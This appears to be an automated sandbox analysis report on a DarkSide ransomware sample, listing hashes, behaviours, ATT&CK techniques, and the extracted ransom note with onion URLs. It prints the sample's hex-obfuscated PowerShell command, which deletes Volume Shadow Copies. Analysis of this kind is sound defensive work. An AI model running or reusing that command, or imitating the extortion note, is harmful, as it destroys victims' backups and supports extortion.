darkside | 89eeac2abad61ef22fd914f9c4efaba04ca830d93ab1611c985531ac6d5e8460

Analysis

max time kernel
35s
max time network
115s
platform
windows10_x64
resource
win10v20210410
submitted
12-05-2021 19:34

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General

Target

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Size

226KB
MD5

c81dae5c67fb72a2c2f24b178aea50b7
SHA1

4bd6437cd1dc77097a7951466531674f80c866c6
SHA256

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a
SHA512

30d63e080f37f34fb29fd46f8fb1572d79f645154a002c8da5914ae3d51e224bc60601f91f5d58ac2ce9f81d56a8ad467d7fde55d429ed269df3c196e6687b2c

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.a3dd95a5.TXT

Family

darkside

Ransom Note

----------- [ Welcome to Dark ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. Data leak ---------------------------------------------- First of all we have uploaded more then 100 GB data. Example of data: - Accounting data - Executive data - Sales data - Customer Support data - Marketing data - Quality data - And more other... Your personal leak page: http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC The data is preloaded and will be automatically published if you do not pay. After publication, your data will be available for at least 6 months on our tor cdn servers. We are ready: - To provide you the evidence of stolen data - To give you universal decrypting tool for all encrypted files. - To delete all the stolen data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68 When you open our website, put the following data in the input form: Key: pr9gzRnMz6qEwr6ovMT0cbjd9yT56NctfQZGIiVVLgo0ME2EQpAUyZucG9BLrOJjno5XLPvCN11TFfnlFHa42u5mJxoeR5k5RUgQAC1MC6LBUj4YOOAUyiBrR HQSUM3pzGoEPRVOzXSZ8YqkJyFL0TDFBbWaBKQDOSo9GzKKoVRQ0Eb02F5geTPkTAqZZSfSQ6PBBlTGPSgGe2kCyuwwp7lDmRSJlNnHssMMZHVhXzyZ6fxiBY gNiuusFK8JNI5nrtRPp3bMAc6OEddxfJWj6o2GT1Xg9j87Jp4Oyv43E1J61jLJAWBkmoBB3Gqv07mtyDW5PnmxBlNzABbLFEvJMQL23sR8nnw4svzcZHxrqD1 xRcxqyeKtsaQ5yqLvyQgMdnrI2QoCqkHYYUfBIzjO8BXyBZdmjHanXE57jdDAhjaDUUqfL917cCyJr1uwVR0Xj5lJXe8BIKHd3dFrz70CsIXFAhicOsBlFzIn daNcAXXyL8Fg1avIXOcuEkGRDXt8Cs8b3TAB6n4DrbLJdiFjECo8yCA9pxvzqjXatumUloblWFZaUoLVYzP !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidedxcftmqa.onion/blog/article/id/6/dQDclB_6Kg-c-6fJesONyHoaKh9BtI8j9Wkw2inG8O72jWaOcKbrxMWbPfKrUbHC

http://darksidfqzcuhtk2.onion/K71D6P88YTX04R3ISCJZHMD5IYV55V9247QHJY0HJYUXX68H2P05XPRIR5SP2U68

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ConvertFromClear.raw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\PingInstall.crw => C:\Users\Admin\Pictures\PingInstall.crw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\PingInstall.crw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\PublishUnpublish.raw => C:\Users\Admin\Pictures\PublishUnpublish.raw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\PublishUnpublish.raw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\UsePing.crw => C:\Users\Admin\Pictures\UsePing.crw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File opened for modification	C:\Users\Admin\Pictures\UsePing.crw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
File renamed	C:\Users\Admin\Pictures\ConvertFromClear.raw => C:\Users\Admin\Pictures\ConvertFromClear.raw.a3dd95a5	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

pid process

2112 48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exe

pid	process
2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
1836	powershell.exe
1836	powershell.exe
1836	powershell.exe
2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSecurityPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeTakeOwnershipPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeLoadDriverPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemProfilePrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemtimePrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeProfSingleProcessPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeIncBasePriorityPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeCreatePagefilePrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeBackupPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRestorePrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeShutdownPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeSystemEnvironmentPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeRemoteShutdownPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeUndockPrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeManageVolumePrivilege	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 33	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 34	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 35	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: 36	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeBackupPrivilege	3956	vssvc.exe
Token: SeRestorePrivilege	3956	vssvc.exe
Token: SeAuditPrivilege	3956	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe

description	pid	process	target process
PID 2112 wrote to memory of 1836	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe
PID 2112 wrote to memory of 1836	2112	48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
"C:\Users\Admin\AppData\Local\Temp\48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe"
1⤵
- Modifies extensions of user files
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1836

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5
42ba977b668d47cb1b0140b2cd078e2b

SHA1
944cd86c1092bea1a39bb387832c582cd830de15

SHA256
9dcca12fa416e946a15f5f86eabd7b053c1399ec17c2e90d38b3541721b83dbd

SHA512
739ba549101d4cf6072701db37e17933b2a341ad880a1d0bfc94c8fae80402d7ff9db8a055d1ef7d2b90c395544e7719dab41389aeb2d39d7e52bd81b8ca35e6

Download Submit
memory/1836-116-0x0000000000000000-mapping.dmp

Download
memory/1836-121-0x0000021770330000-0x0000021770331000-memory.dmp

Filesize
4KB

Download
memory/1836-126-0x00000217703B3000-0x00000217703B5000-memory.dmp

Filesize
8KB

Download
memory/1836-125-0x00000217703B0000-0x00000217703B2000-memory.dmp

Filesize
8KB

Download
memory/1836-128-0x0000021771040000-0x0000021771041000-memory.dmp

Filesize
4KB

Download
memory/1836-137-0x00000217703B6000-0x00000217703B8000-memory.dmp

Filesize
8KB

Download
memory/2112-114-0x00000000004C0000-0x000000000056E000-memory.dmp

Filesize
696KB

Download
memory/2112-115-0x0000000000510000-0x0000000000511000-memory.dmp

Filesize
4KB

Download
memory/2112-123-0x00000000004C0000-0x000000000056E000-memory.dmp

Filesize
696KB

Download